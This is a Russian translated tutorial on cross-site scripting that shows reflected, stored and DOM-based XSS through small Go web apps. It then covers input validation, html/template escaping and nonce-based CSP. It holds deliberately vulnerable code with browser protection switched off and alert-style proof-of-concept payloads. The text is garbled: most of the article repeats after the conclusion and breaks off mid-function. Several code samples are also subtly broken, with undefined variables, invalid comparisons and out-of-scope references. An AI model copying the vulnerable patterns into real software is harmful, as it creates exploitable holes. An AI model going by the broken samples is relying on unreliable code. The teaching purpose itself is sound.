Изначально Всемирная Паутина представляла собой набор статических документов HTML, которые браузер должен был отображать для просмотра пользователями. По мере развития Интернета возрастали и требования к документам, что привело к появлению JavaScript и файлов cookie: скрипты нужны для интерактивности документа, а cookies – чтобы браузеры могли сохранять его состояние.

Появление этих возможностей привело к тому, что браузеры не только визуализируют HTML,
но и вмещают в памяти в качестве API для разработчиков представление,
называемое объектной моделью документа (DOM). DOM предлагает древовидную структуру тегов HTML, а также доступ к файлам cookie для
получения состояния. Со временем модель превратилась из предназначенной преимущественно для чтения структуры в структуру read-write, обновление которой приводит к повторному рендерингу документа.

Как только документы
получили возможность запускать код, браузеры должны были определить контекст
выполнения для программ на JavaScript. Политика, которая была разработана, называется
Same-Origin и по-прежнему является одним из фундаментальных примитивов безопасности
браузера. Изначально в ней утверждалось, что JavaScript в одном документе может
получить доступ только к собственному DOM и к DOM других документов с тем же
происхождением. Позже, когда был добавлен XMLHttpRequest
и Fetch, появилась модифицированная версия
Same-Origin. Эти API не могут
выдавать запросы к любому источнику, они могут только читать ответ на запросы
от того же источника.

Что же такое происхождение? Это кортеж протокола, имени хоста и порта документа.

Фрагмент 1: Кортеж из схемы, хоста и порта этого URL-адреса.
        https://www.example.com:443/app
^^^^^   ^^^^^^^^^^^^^^^ ^^^
Scheme  Host            Port
    
Рис. 1: Иллюстрация Same-Origin в действии. JavaScript работает на www.evil.com и не может получить доступ к DOM на www.example.com.
Рис. 1: Иллюстрация Same-Origin в действии. JavaScript работает на www.evil.com и не может получить доступ к DOM на www.example.com.

Политика Same-Origin
отлично помогает смягчать атаки на статические сайты, как показано на рисунке выше.
Однако с атаками на динамические ресурсы, принимающие пользовательский ввод, ситуация
немного сложнее из-за смешивания кода и данных, которая позволяет злоумышленнику
выполнять контролируемый ввод в исходном документе.

Атаки XSS обычно бывают трех видов: рефлективными, хранимыми и основанными на DOM.

Рефлективные и хранимые
XSS-атаки принципиально одинаковы, поскольку полагаются на вредоносный ввод,
отправляемый на бекенд и представляющий этот ввод пользователю сервер.
Рефлективные XSS обычно возникают в виде злонамеренно созданной злоумышленником
ссылки, по которой затем переходит жертва. Хранимые XSS происходят, когда
злоумышленник загружает вредоносный ввод. Атаки на основе DOM отличаются тем,
что они происходят исключительно на стороне клиента и включают вредоносный ввод, манипулирующий DOM.

Примеры

Рефлективные атаки XSS

Ниже можно увидеть
простое веб-приложение на Go, которое отражает свой ввод (даже если
это вредоносный скрипт) обратно пользователю. Вы можете использовать это
приложение, сохранив его в файле xss1.go и запустив go run xss1.go.

Фрагмент 3: Пример веб-приложения с рефлективной (отраженной) XSS-атакой.
        package main

import (
    "fmt"
    "log"
    "net/http"
)

func handler(w http.ResponseWriter, r *http.Request) {
    w.Header().Set("X-XSS-Protection", "0")

    messages, ok := r.URL.Query()["message"]
    if !ok {
       messages = []string{"hello, world"}
    }
    fmt.Fprintf(w, "<html><p>%v</p></html>", messages[0])
}

func main() {
    http.HandleFunc("/", handler)
    log.Fatal(http.ListenAndServe("127.0.0.1:8080", nil))
}
    

Чтобы увидеть
XSS-атаку, перейдите по уязвимому URL-адресу ниже.

        http://localhost:8080?message=<script>alert(1)</script>
    

Взгляните на источник: сервер вернул документ, который выглядит примерно так, как показано во фрагменте
4. Обратите внимание, как смешение кода и данных позволило произойти этой
атаке.

Фрагмент 4: Пример вывода уязвимого для XSS веб-приложения.
        <html>
  <p>
    <script>alert(1)</script>
  </p>
</html>
    

Этот пример может
показаться неправдоподобным, поскольку защита XSS была явно отключена. Эта ее форма основана на эвристике с обходными путями для
различных браузеров. Она была отключена для создания кроссбраузерных примеров,
иллюстрирующих основные концепции XSS-атак. Некоторые браузеры
удаляют эту защиту: например, в
Google Chrome 78
и выше вам не понадобится строка
w.Header().Set(“X-XSS-Protection”, “0”), чтобы атака сработала.

Хранимые XSS-атаки

Хранимые XSS-атаки похожи на рефлективные, но пэйлоад поступает из хранилища данных, а не из ввода непосредственно. Например, злоумышленник может загрузить в веб-приложение зловреда, который затем будет показан каждому авторизованному юзеру.

Ниже приведен простой чат, который иллюстрирует этот вид атак. Вы можете сохранить приложение в файле xss2.go и
запустить с помощью команды go run xss2.go.

Фрагмент 5: Хранимая XSS-атака.
        package main

import (
	"fmt"
	"log"
	"net/http"
	"strings"
	"sync"
)

var db []string
var mu sync.Mutex

var tmpl = `
<form action="/save">
  Message: <input name="message" type="text"><br>
  <input type="submit" value="Submit">
</form>
%v
`

func saveHandler(w http.ResponseWriter, r *http.Request) {
	mu.Lock()
	defer mu.Unlock()

	r.ParseForm()
	messages, ok := r.Form["message"]
	if !ok {
		http.Error(w, "missing message", 500)
	}

	db = append(db, messages[0])

	http.Redirect(w, r, "/", 301)
}

func viewHandler(w http.ResponseWriter, r *http.Request) {
	w.Header().Set("X-XSS-Protection", "0")
	w.Header().Set("Content-Type", "text/html; charset=utf-8")

	var sb strings.Builder
	sb.WriteString("<ul>")
	for _, message := range db {
		sb.WriteString("<li>" + message + "</li>")
	}
	sb.WriteString("</ul>")

	fmt.Fprintf(w, tmpl, sb.String())
}

func main() {
	http.HandleFunc("/", viewHandler)
	http.HandleFunc("/save", saveHandler)
	log.Fatal(http.ListenAndServe("127.0.0.1:8080", nil))
}
    

Чтобы увидеть атаку
XSS, перейдите по ссылке http://localhost:8080 и введите сообщение <script>alert(1);</script>.

Атака делится на две
фазы:

  • пейлоад сохраняется в хранилище данных в функции storeHandler;
  • когда страница визуализируется во ViewHandler, пейлоад добавляется к выходным данным.

XSS-атаки на основе DOM

Такие атаки не связаны с бекендом и происходят исключительно на стороне клиента. Они интересны тем, что современные веб-приложения перемещают логику к клиенту, а атаки происходят, когда пользователь напрямую манипулирует DOM. Хорошей новостью для злоумышленников является то, что DOM имеет широкий спектр способов эксплуатации, наиболее популярными из которых являются innerHTML и document.write.

Ниже приведен пример обслуживающего статический контент веб-приложения. Код тот же, что и в
примере с рефлективными XSS, но здесь атака будет происходить полностью на
стороне клиента. Вы можете сохранить приложение в файле xss3.go и запустить его командой go run xss3.go.

Фрагмент 6: Пример веб-приложения с XSS-атакой на основе DOM.
        package main

import (
    "fmt"
    "log"
    "net/http"
)

const content = `

<html>
   <head>
       <script>
          window.onload = function() {
             var params = new URLSearchParams(window.location.search);
             p = document.getElementById("content")
             p.innerHTML = params.get("message")
	     };
       </script>
   </head>
   <body>
       <p id="content"></p>
   </body>
</html>
`

func handler(w http.ResponseWriter, r *http.Request) {
    w.Header().Set("X-XSS-Protection", "0")
    fmt.Fprintf(w, content)
}

func main() {
    http.HandleFunc("/", handler)
    log.Fatal(http.ListenAndServe("127.0.0.1:8080", nil))
}
    

Чтобы увидеть эту
атаку, перейдите по ссылке
http://localhost:8080/?message=”<img src=1 onerror=alert(1);/>”. Обратите внимание, что вектор атаки немного
отличается и innerHTML не будет
выполнять скрипт напрямую, однако он добавит HTML-элементы, которые затем выполнят код на JavaScript. В приведенном примере добавляется элемент image, который запускает скрипт при возникновении ошибки (она всегда появляется, поскольку злоумышленник подставляет неверный источник).

Если хотите напрямую добавить
элемент скрипта, придется использовать другой приемник XSS. Замените
элемент script из фрагмента 6 элементом script из фрагмента 7 и перейдите
по следующей ссылке:
http://localhost:8080/?message=”<script>alert(1);</script>”. Атака сработает, потому что document.write принимает элементы
скрипта напрямую.

Фрагмент 7: Еще один пример атаки XSS на основе DOM.
        <script>
   window.onload = function() {
      var params = new URLSearchParams(window.location.search);
      document.open();
      document.write(params.get("message"));
      document.close();
   };
</script>
    

Связанные направления атак

Хотя обычно их не называют атаками XSS, существует несколько связанных направлений, о которых стоит упомянуть.

Content-type

Всему виной
неправильная настройка типа содержимого ответов HTTP. Это может произойти как
на уровне бекенда (ответ имеет неверный набор заголовков Content-Type), так и при попытке браузера проснифферить тип MIME.
Internet Explorer был особенно восприимчив к этому, и классическим примером
является служба загрузки изображений: злоумышленник может загрузить JavaScript вместо картинки.
Браузер видит, что тип контента был установлен на image/jpg, но пейлоад содержит скрипт – он выполняется, что приводит к атаке XSS.

Urlschemes

Следующий тип атаки –
активность через URL со схемой JavaScript. Представим веб-сайт, который
позволяет пользователю контролировать цель ссылки, как показано во фрагменте 8. В этом случае злоумышленник сможет предоставить
URL, выполняющий некий JavaScript с помощью нашей схемы.

Чтобы опробовать этот
тип атаки, можно сохранить приложение в файле xss4.go, запустить командой go run xss4.go и перейти по ссылке http://localhost:8080?link=javascript:alert(1).

Фрагмент 8: XSS-атака, введенная через схему URL-адресов.
        package main

import (
    "fmt"
    "log"
    "net/http"
)

func handler(w http.ResponseWriter, r *http.Request) {
    w.Header().Set("X-XSS-Protection", "0")

    links, ok := r.URL.Query()["link"]
    if !ok {
        messages = []string{"example.com"}
    }
    fmt.Fprintf(w, `<html><p><a href="%v">Next</p></html>`, links[0])
}

func main() {
    http.HandleFunc("/", handler)
    log.Fatal(http.ListenAndServe("127.0.0.1:8080", nil))
}
    

Избавление

Единого метода
решения данной проблемы не существует, иначе XSS не был бы
такой распространенной проблемой. Фундаментальная сложность вызвана отсутствием разделения между кодом и данными. Смягчение последствий XSS
обычно включает очистку входных данных (нужно убедиться, что они не
содержат кода), экранирование выходных данных (они также не должны содержать код) и реструктуризацию приложения таким образом, чтобы код
загружался из строго определенных конечных точек.

Валидация входных данных

Первая линия защиты – проверка входных данных. Убедитесь, что их формат соответствует ожидаемым характеристикам – эдакий белый список, гарантирующий отсутствие у приложения возможности принимать код.

Валидация
данных – сложная проблема. Не существует универсального инструмента или техники
для всех ситуаций. Лучше всего структурировать приложение таким образом, чтобы
оно требовало от разработчиков продумать тип принимаемых данных и обеспечить
удобное место, где можно разместить валидатор.

Хороший тон написания
приложений на Go состоит в том, чтобы не иметь никакой логики приложения в
обработчиках запросов HTTP, а вместо этого использовать их для анализа и проверки входных данных. Затем данные отправляются
в
обрабатывающую логику структуру. Обработчики запросов становятся
простыми и обеспечивают удобное централизованное расположение для контроля
правильности очистки данных.

На фрагменте 9
показано, как можно переписать saveHandler для приема символов ASCII [A-Za-z\.].

Фрагмент 9: Пример использования обработчиков HTTP-запросов для проверки данных.
        func saveHandler(w http.ResponseWriter, r *http.Request) {
	r.ParseForm()
	messages, ok := r.Form["message"]
	if !ok {
		http.Error(w, "missing message", 500)
	}

	re := regexp.MustCompile(`^[A-Za-z\\.]+$`)
	if re.Find([]byte(messages[0]))) == "" {
		http.Error(w, "invalid message", 500)
	}
  
	db.Append(messages[0])

	http.Redirect(w, r, "/", 301)
}
    

Может показаться, что
это излишнее беспокойство, но чат-приложение принимает гораздо больше, чем ограниченный набор символов. Многие принимаемые приложениями данные достаточно структурированы: адреса, номера телефонов,
почтовые индексы и тому подобные вещи могут и должны быть
проверены.

Экранирование

Следующий шаг – экранирование вывода. В случае с нашим чатом все извлеченное из базы данных включалось непосредственно в выходной документ.

Одно и то же приложение
может быть гораздо безопаснее (даже если в него была произведена инъекция кода),
если экранировать все небезопасные выходные данные. Именно это делает пакет
html/template в Go. Использование языка шаблонов и
контекстно-зависимого синтаксического анализатора для экранирования данных до
их визуализации уменьшит вероятность выполнения вредоносного кода.

Ниже приведен пример
использования пакета html/template. Сохраните приложение в файле xss5.go, а затем выполните командой go run xss5.go.

Фрагмент 10: Использование экранирования для устранения хранимых XSS-атак.
        package main

import (
	"bytes"
	"html/template"
	"io"
	"log"
	"net/http"
	"sync"
)

var db []string
var mu sync.Mutex

var tmpl = `
<form action="/save">
  Message: <input name="message" type="text"><br>
  <input type="submit" value="Submit">
</form>
<ul>
{{range .}}
    <li>{{.}}</li>
{{end}}
</ul>`

func saveHandler(w http.ResponseWriter, r *http.Request) {
	mu.Lock()
	defer mu.Unlock()

	r.ParseForm()
	messages, ok := r.Form["message"]
	if !ok {
		http.Error(w, "missing message", 500)
	}

	db = append(db, messages[0])

	http.Redirect(w, r, "/", 301)
}

func viewHandler(w http.ResponseWriter, r *http.Request) {
	w.Header().Set("X-XSS-Protection", "0")
	w.Header().Set("Content-Type", "text/html; charset=utf-8")

	t := template.New("view")

	t, err := t.Parse(tmpl)
	if err != nil {
		http.Error(w, err.Error(), 500)
		return
	}

	var buf bytes.Buffer

	err = t.Execute(&buf, db)
	if err != nil {
		http.Error(w, err.Error(), 500)
		return
	}

	io.Copy(w, &buf)
}

func main() {
	http.HandleFunc("/", viewHandler)
	http.HandleFunc("/save", saveHandler)
	log.Fatal(http.ListenAndServe("127.0.0.1:8080", nil))
}
    

Опробуйте использованную ранее атаку XSS, перейдя по ссылке http://localhost:8080 и введите <script>alert(1);</script>.
Обратите внимание, что предупреждение не было вызвано.

Откройте консоль браузера и посмотрите на элемент li в DOM. Интерес представляют два
свойства: innerHTML и innerText.

Фрагмент 11: Проверка DOM при использовании экранирования.
        innerHTML: "<script>alert(1);</script>"
innerText: "<script>alert(1);</script>"
    

Обратите внимание, как
с помощью экранирования удалось четко разделить код и данные.

Content Security Policy

Content Security Policy (CSP) позволяет веб-приложениям определять набор доверенных источников для загрузки контента (например, скриптов). CSP можно использовать для разделения кода и данных, отказываясь от встроенных скриптов и загружая их только из определенных источников.

Написание CSP для
небольших автономных приложений является простой задачей – начните с политики,
которая по умолчанию запрещает все источники, а затем разрешите небольшой их набор.
Однако написать эффективный CSP для больших сайтов уже не так просто. Как
только сайт начинает загружать контент из внешних источников, CSP раздувается и
становится громоздким. Некоторые разработчики сдаются и включают директиву unsafe-inline, полностью разрушая теорию
CSP.

Чтобы упростить
написание CSP, в CSP3 вводится директива strict-dynamic.
Вместо того чтобы поддерживать большой белый список надежных источников,
приложение генерирует случайное число (nonce) каждый раз, когда запрашивается
страница. Этот nonce отправляется вместе с заголовками страницы и встроен в тег
script, что заставляет браузеры доверять этим скриптам с соответствующим nonce,
а также любым скриптам, которые они могут загрузить. Вместо
того, чтобы вносить скрипты в белый список и пытаться выяснить, какие еще сценарии они загружают, а затем пополнять белый список рекурсивно,
вам нужно достаточно внести в белый список импортируемый скрипт верхнего уровня.

Используя предложенный Google подход Strict CSP, рассмотрим простое приложение, принимающее
пользовательский ввод. Сохраните его в файле xss6.go, а затем выполните командой go run xss6.go.

Фрагмент 12: Пример CSP, смягчающего XSS-атаку.
        package main

import (
	"bytes"
	"crypto/rand"
	"encoding/base64"
	"fmt"
	"html/template"
	"log"
	"net/http"
	"strings"
)

const scriptContent = `
document.addEventListener('DOMContentLoaded', function () {
   var updateButton = document.getElementById("textUpdate");
   updateButton.addEventListener("click", function() {
      var p = document.getElementById("content");
      var message = document.getElementById("textInput").value;
      p.innerHTML = message;
   });
};
`

const htmlContent = `
<html>
   <head>
      <script src="script.js" nonce="{{ . }}"></script>
   </head>
   <body>
       <p id="content"></p>

       <div class="input-group mb-3">
         <input type="text" class="form-control" id="textInput">
         <div class="input-group-append">
           <button class="btn btn-outline-secondary" type="button" id="textUpdate">Update</button>
         </div>
       </div>

       <blockquote class="twitter-tweet" data-lang="en">
         <a href="https://twitter.com/jack/status/20?ref_src=twsrc%5Etfw">March 21, 2006</a>
       </blockquote>
       <script async src="https://platform.twitter.com/widgets.js"
         nonce="{{ . }}" charset="utf-8"></script>
   </body>
</html>
`

func generateNonce() (string, error) {
	buf := make([]byte, 16)
	_, err := rand.Read(buf)
	if err != nil {
		return "", err
	}

	return base64.StdEncoding.EncodeToString(buf), nil
}

func generateHTML(nonce string) (string, error) {
	var buf bytes.Buffer

	t, err := template.New("htmlContent").Parse(htmlContent)
	if err != nil {
		return "", err
	}

	err = t.Execute(&buf, nonce)
	if err != nil {
		return "", err
	}

	return buf.String(), nil
}

func generatePolicy(nonce string) string {
	s := fmt.Sprintf(`'nonce-%v`, nonce) 
	var contentSecurityPolicy = []string{
		`object-src 'none';`,
		fmt.Sprintf(`script-src %v 'strict-dynamic';`, s),
		`base-uri 'none';`,
	}
	return strings.Join(contentSecurityPolicy, " ")
}

func scriptHandler(w http.ResponseWriter, r *http.Request) {
	nonce, err := generateNonce()
	if err != nil {
		returnError()
		return
	}

	w.Header().Set("X-XSS-Protection", "0")
	w.Header().Set("Content-Type", "application/javascript; charset=utf-8")
	w.Header().Set("Content-Security-Policy", generatePolicy(nonce))

	fmt.Fprintf(w, scriptContent)
}

func htmlHandler(w http.ResponseWriter, r *http.Request) {
	nonce, err := generateNonce()
	if err != nil {
		returnError()
		return
	}

	w.Header().Set("X-XSS-Protection", "0")
	w.Header().Set("Content-Type", "text/html; charset=utf-8")
	w.Header().Set("Content-Security-Policy", generatePolicy(nonce))

	htmlContent, err := generateHTML(nonce)
	if err != nil {
returnError()
		return
	}

	fmt.Fprintf(w, htmlContent)
}

func returnError() {
http.Error(w, http.StatusText(http.StatusInternalServerError),
		http.StatusInternalServerError)
}

func main() {
	http.HandleFunc("/script.js", scriptHandler)
	http.HandleFunc("/", htmlHandler)
	log.Fatal(http.ListenAndServe(":8080", nil))
}
    

Чтобы попытаться
использовать приложение, перейдите по ссылке: http://localhost:8080 и
попробуйте отправить <img src=1 onerror”alert(1)”/> как и раньше. Эта атака сработала бы и без CSP, но
поскольку CSP не допускает inline-скриптов, вы должны увидеть примерно такой вывод в консоли браузера:

«Отказано в выполнении встроенного обработчика событий, поскольку он нарушает следующую директиву CSP: “script-src ‘nonce-XauzABRw9QtE0bzoiRmslQ==’ ‘unsafe-inline’ ‘unsafe-eval’ ‘strict-dynamic’ https: http:” Обратите внимание, что ‘unsafe-inline‘ игнорируется, если в исходном списке присутствует либо хэш, либо значение nonce.»

Почему сценарий не
запустился? Рассмотрим
CSP подробнее.

Фрагмент 13: Базовый CSP. Nonce повторно генерируется для каждого запроса.
        script-src 'strict-dynamic' 'nonce-XauzABRw9QtE0bzoiRmslQ==';
object-src 'none';
base-uri 'none';
    
Что делает эта политика? Директива script-src включает strict-dynamic и значение nonce, используемое для загрузки скриптов. Это означает, что единственные скрипты, которые будут загружены, находятся в script elements, где nonce включен в атрибут, а значит inline-скрипты не загрузятся. Последние две директивы препятствуют загрузке плагинов и изменению базового URL приложения.

Основная сложность
использования этого подхода заключается в необходимости генерировать nonce и инжектить его в заголовки при каждой загрузке страницы. После этого шаблон
может быть применен ко всем загружаемым страницам.

Соответствующие методы устранения

Content-Type

Вы
должны не только устанавливать свой Content-Type, но и следить, чтобы браузеры не
пытались автоматически определить тип контента. Для
этого используйте заголовок: X-Content-Type-Options:
nosniff
.

Virtual doms

Хотя виртуальные домены
не являются функцией безопасности, использующие их современные фреймворки (
React и Vue) могут помочь смягчить атаки XSS на основе DOM.

Эти фреймворки создают DOM параллельно с тем, который находится в браузере, и сравнивают их. Отличающуюся часть DOM браузера они обновляют. Для этого необходимо создать виртуальный DOM, что приведет к уменьшению использования клиентами innerHTML и подтолкнет разработчиков к переходу на innerText.

React требует
использования атрибута
dangerouslySetInnerHTML, в то время как создатели Vue предупреждают, что использование
innerHTML может привести к появлению уязвимостей.

Заключение

Если вы дочитали до
конца, у вас может появиться желание разобраться, как работают браузеры, что такое ошибки
XSS и насколько важно понимать, как от них избавиться.
XSS трудно искоренить, поскольку приложения становятся все больше и все сложнее. Применяя упомянутые в статье методы, можно сделать жизнь злоумышленников трудной.

Удачи в борьбе и учебе!

Дополнительные материалы:

13
Мар
2021

🕵 Примеры атак XSS и способов их устранения

Понимание межсайтового скриптинга и способов борьбы с ним необходимо каждому веб-разработчику. Это один и самых распространенных видов уязвимостей – злоумышленники часто проводят атаки XSS для кражи данных и нарушения работоспособности сервисов.

Перевод публикуется с сокращениями, автор оригинальной статьи Russel Jones.

Межсайтовый
скриптинг (
XSS)
– это атака, которая позволяет
JavaScript через
один сайт работать с другим.
XSS интересен не из-за технической
сложности, а скорее потому, что он эксплуатирует некоторые из основных
механизмов безопасности браузеров и из-за огромной распространенности.

Background

Изначально Всемирная Паутина представляла собой набор статических документов HTML, которые браузер должен был отображать для просмотра пользователями. По мере развития Интернета возрастали и требования к документам, что привело к появлению JavaScript и файлов cookie: скрипты нужны для интерактивности документа, а cookies – чтобы браузеры могли сохранять его состояние.

Появление этих возможностей привело к тому, что браузеры не только визуализируют HTML,
но и вмещают в памяти в качестве API для разработчиков представление,
называемое объектной моделью документа (DOM). DOM предлагает древовидную структуру тегов HTML, а также доступ к файлам cookie для
получения состояния. Со временем модель превратилась из предназначенной преимущественно для чтения структуры в структуру read-write, обновление которой приводит к повторному рендерингу документа.

Как только документы
получили возможность запускать код, браузеры должны были определить контекст
выполнения для программ на JavaScript. Политика, которая была разработана, называется
Same-Origin и по-прежнему является одним из фундаментальных примитивов безопасности
браузера. Изначально в ней утверждалось, что JavaScript в одном документе может
получить доступ только к собственному DOM и к DOM других документов с тем же
происхождением. Позже, когда был добавлен XMLHttpRequest
и Fetch, появилась модифицированная версия
Same-Origin. Эти API не могут
выдавать запросы к любому источнику, они могут только читать ответ на запросы
от того же источника.

Что же такое происхождение? Это кортеж протокола, имени хоста и порта документа.

Фрагмент 1: Кортеж из схемы, хоста и порта этого URL-адреса.
        https://www.example.com:443/app
^^^^^   ^^^^^^^^^^^^^^^ ^^^
Scheme  Host            Port
    
Рис. 1: Иллюстрация Same-Origin в действии. JavaScript работает на www.evil.com и не может получить доступ к DOM на www.example.com.
Рис. 1: Иллюстрация Same-Origin в действии. JavaScript работает на www.evil.com и не может получить доступ к DOM на www.example.com.

Политика Same-Origin
отлично помогает смягчать атаки на статические сайты, как показано на рисунке выше.
Однако с атаками на динамические ресурсы, принимающие пользовательский ввод, ситуация
немного сложнее из-за смешивания кода и данных, которая позволяет злоумышленнику
выполнять контролируемый ввод в исходном документе.

Атаки XSS обычно бывают трех видов: рефлективными, хранимыми и основанными на DOM.

Рефлективные и хранимые
XSS-атаки принципиально одинаковы, поскольку полагаются на вредоносный ввод,
отправляемый на бекенд и представляющий этот ввод пользователю сервер.
Рефлективные XSS обычно возникают в виде злонамеренно созданной злоумышленником
ссылки, по которой затем переходит жертва. Хранимые XSS происходят, когда
злоумышленник загружает вредоносный ввод. Атаки на основе DOM отличаются тем,
что они происходят исключительно на стороне клиента и включают вредоносный ввод, манипулирующий DOM.

Примеры

Рефлективные атаки XSS

Ниже можно увидеть
простое веб-приложение на Go, которое отражает свой ввод (даже если
это вредоносный скрипт) обратно пользователю. Вы можете использовать это
приложение, сохранив его в файле xss1.go и запустив go run xss1.go.

Фрагмент 3: Пример веб-приложения с рефлективной (отраженной) XSS-атакой.
        package main

import (
    "fmt"
    "log"
    "net/http"
)

func handler(w http.ResponseWriter, r *http.Request) {
    w.Header().Set("X-XSS-Protection", "0")

    messages, ok := r.URL.Query()["message"]
    if !ok {
       messages = []string{"hello, world"}
    }
    fmt.Fprintf(w, "<html><p>%v</p></html>", messages[0])
}

func main() {
    http.HandleFunc("/", handler)
    log.Fatal(http.ListenAndServe("127.0.0.1:8080", nil))
}
    

Чтобы увидеть
XSS-атаку, перейдите по уязвимому URL-адресу ниже.

        http://localhost:8080?message=<script>alert(1)</script>
    

Взгляните на источник: сервер вернул документ, который выглядит примерно так, как показано во фрагменте
4. Обратите внимание, как смешение кода и данных позволило произойти этой
атаке.

Фрагмент 4: Пример вывода уязвимого для XSS веб-приложения.
        <html>
  <p>
    <script>alert(1)</script>
  </p>
</html>
    

Этот пример может
показаться неправдоподобным, поскольку защита XSS была явно отключена. Эта ее форма основана на эвристике с обходными путями для
различных браузеров. Она была отключена для создания кроссбраузерных примеров,
иллюстрирующих основные концепции XSS-атак. Некоторые браузеры
удаляют эту защиту: например, в
Google Chrome 78
и выше вам не понадобится строка
w.Header().Set(“X-XSS-Protection”, “0”), чтобы атака сработала.

Хранимые XSS-атаки

Хранимые XSS-атаки похожи на рефлективные, но пэйлоад поступает из хранилища данных, а не из ввода непосредственно. Например, злоумышленник может загрузить в веб-приложение зловреда, который затем будет показан каждому авторизованному юзеру.

Ниже приведен простой чат, который иллюстрирует этот вид атак. Вы можете сохранить приложение в файле xss2.go и
запустить с помощью команды go run xss2.go.

Фрагмент 5: Хранимая XSS-атака.
        package main

import (
	"fmt"
	"log"
	"net/http"
	"strings"
	"sync"
)

var db []string
var mu sync.Mutex

var tmpl = `
<form action="/save">
  Message: <input name="message" type="text"><br>
  <input type="submit" value="Submit">
</form>
%v
`

func saveHandler(w http.ResponseWriter, r *http.Request) {
	mu.Lock()
	defer mu.Unlock()

	r.ParseForm()
	messages, ok := r.Form["message"]
	if !ok {
		http.Error(w, "missing message", 500)
	}

	db = append(db, messages[0])

	http.Redirect(w, r, "/", 301)
}

func viewHandler(w http.ResponseWriter, r *http.Request) {
	w.Header().Set("X-XSS-Protection", "0")
	w.Header().Set("Content-Type", "text/html; charset=utf-8")

	var sb strings.Builder
	sb.WriteString("<ul>")
	for _, message := range db {
		sb.WriteString("<li>" + message + "</li>")
	}
	sb.WriteString("</ul>")

	fmt.Fprintf(w, tmpl, sb.String())
}

func main() {
	http.HandleFunc("/", viewHandler)
	http.HandleFunc("/save", saveHandler)
	log.Fatal(http.ListenAndServe("127.0.0.1:8080", nil))
}
    

Чтобы увидеть атаку
XSS, перейдите по ссылке http://localhost:8080 и введите сообщение <script>alert(1);</script>.

Атака делится на две
фазы:

  • пейлоад сохраняется в хранилище данных в функции storeHandler;
  • когда страница визуализируется во ViewHandler, пейлоад добавляется к выходным данным.

XSS-атаки на основе DOM

Такие атаки не связаны с бекендом и происходят исключительно на стороне клиента. Они интересны тем, что современные веб-приложения перемещают логику к клиенту, а атаки происходят, когда пользователь напрямую манипулирует DOM. Хорошей новостью для злоумышленников является то, что DOM имеет широкий спектр способов эксплуатации, наиболее популярными из которых являются innerHTML и document.write.

Ниже приведен пример обслуживающего статический контент веб-приложения. Код тот же, что и в
примере с рефлективными XSS, но здесь атака будет происходить полностью на
стороне клиента. Вы можете сохранить приложение в файле xss3.go и запустить его командой go run xss3.go.

Фрагмент 6: Пример веб-приложения с XSS-атакой на основе DOM.
        package main

import (
    "fmt"
    "log"
    "net/http"
)

const content = `

<html>
   <head>
       <script>
          window.onload = function() {
             var params = new URLSearchParams(window.location.search);
             p = document.getElementById("content")
             p.innerHTML = params.get("message")
	     };
       </script>
   </head>
   <body>
       <p id="content"></p>
   </body>
</html>
`

func handler(w http.ResponseWriter, r *http.Request) {
    w.Header().Set("X-XSS-Protection", "0")
    fmt.Fprintf(w, content)
}

func main() {
    http.HandleFunc("/", handler)
    log.Fatal(http.ListenAndServe("127.0.0.1:8080", nil))
}
    

Чтобы увидеть эту
атаку, перейдите по ссылке
http://localhost:8080/?message=”<img src=1 onerror=alert(1);/>”. Обратите внимание, что вектор атаки немного
отличается и innerHTML не будет
выполнять скрипт напрямую, однако он добавит HTML-элементы, которые затем выполнят код на JavaScript. В приведенном примере добавляется элемент image, который запускает скрипт при возникновении ошибки (она всегда появляется, поскольку злоумышленник подставляет неверный источник).

Если хотите напрямую добавить
элемент скрипта, придется использовать другой приемник XSS. Замените
элемент script из фрагмента 6 элементом script из фрагмента 7 и перейдите
по следующей ссылке:
http://localhost:8080/?message=”<script>alert(1);</script>”. Атака сработает, потому что document.write принимает элементы
скрипта напрямую.

Фрагмент 7: Еще один пример атаки XSS на основе DOM.
        <script>
   window.onload = function() {
      var params = new URLSearchParams(window.location.search);
      document.open();
      document.write(params.get("message"));
      document.close();
   };
</script>
    

Связанные направления атак

Хотя обычно их не называют атаками XSS, существует несколько связанных направлений, о которых стоит упомянуть.

Content-type

Всему виной
неправильная настройка типа содержимого ответов HTTP. Это может произойти как
на уровне бекенда (ответ имеет неверный набор заголовков Content-Type), так и при попытке браузера проснифферить тип MIME.
Internet Explorer был особенно восприимчив к этому, и классическим примером
является служба загрузки изображений: злоумышленник может загрузить JavaScript вместо картинки.
Браузер видит, что тип контента был установлен на image/jpg, но пейлоад содержит скрипт – он выполняется, что приводит к атаке XSS.

Urlschemes

Следующий тип атаки –
активность через URL со схемой JavaScript. Представим веб-сайт, который
позволяет пользователю контролировать цель ссылки, как показано во фрагменте 8. В этом случае злоумышленник сможет предоставить
URL, выполняющий некий JavaScript с помощью нашей схемы.

Чтобы опробовать этот
тип атаки, можно сохранить приложение в файле xss4.go, запустить командой go run xss4.go и перейти по ссылке http://localhost:8080?link=javascript:alert(1).

Фрагмент 8: XSS-атака, введенная через схему URL-адресов.
        package main

import (
    "fmt"
    "log"
    "net/http"
)

func handler(w http.ResponseWriter, r *http.Request) {
    w.Header().Set("X-XSS-Protection", "0")

    links, ok := r.URL.Query()["link"]
    if !ok {
        messages = []string{"example.com"}
    }
    fmt.Fprintf(w, `<html><p><a href="%v">Next</p></html>`, links[0])
}

func main() {
    http.HandleFunc("/", handler)
    log.Fatal(http.ListenAndServe("127.0.0.1:8080", nil))
}
    

Избавление

Единого метода
решения данной проблемы не существует, иначе XSS не был бы
такой распространенной проблемой. Фундаментальная сложность вызвана отсутствием разделения между кодом и данными. Смягчение последствий XSS
обычно включает очистку входных данных (нужно убедиться, что они не
содержат кода), экранирование выходных данных (они также не должны содержать код) и реструктуризацию приложения таким образом, чтобы код
загружался из строго определенных конечных точек.

Валидация входных данных

Первая линия защиты – проверка входных данных. Убедитесь, что их формат соответствует ожидаемым характеристикам – эдакий белый список, гарантирующий отсутствие у приложения возможности принимать код.

Валидация
данных – сложная проблема. Не существует универсального инструмента или техники
для всех ситуаций. Лучше всего структурировать приложение таким образом, чтобы
оно требовало от разработчиков продумать тип принимаемых данных и обеспечить
удобное место, где можно разместить валидатор.

Хороший тон написания
приложений на Go состоит в том, чтобы не иметь никакой логики приложения в
обработчиках запросов HTTP, а вместо этого использовать их для анализа и проверки входных данных. Затем данные отправляются
в
обрабатывающую логику структуру. Обработчики запросов становятся
простыми и обеспечивают удобное централизованное расположение для контроля
правильности очистки данных.

На фрагменте 9
показано, как можно переписать saveHandler для приема символов ASCII [A-Za-z\.].

Фрагмент 9: Пример использования обработчиков HTTP-запросов для проверки данных.
        func saveHandler(w http.ResponseWriter, r *http.Request) {
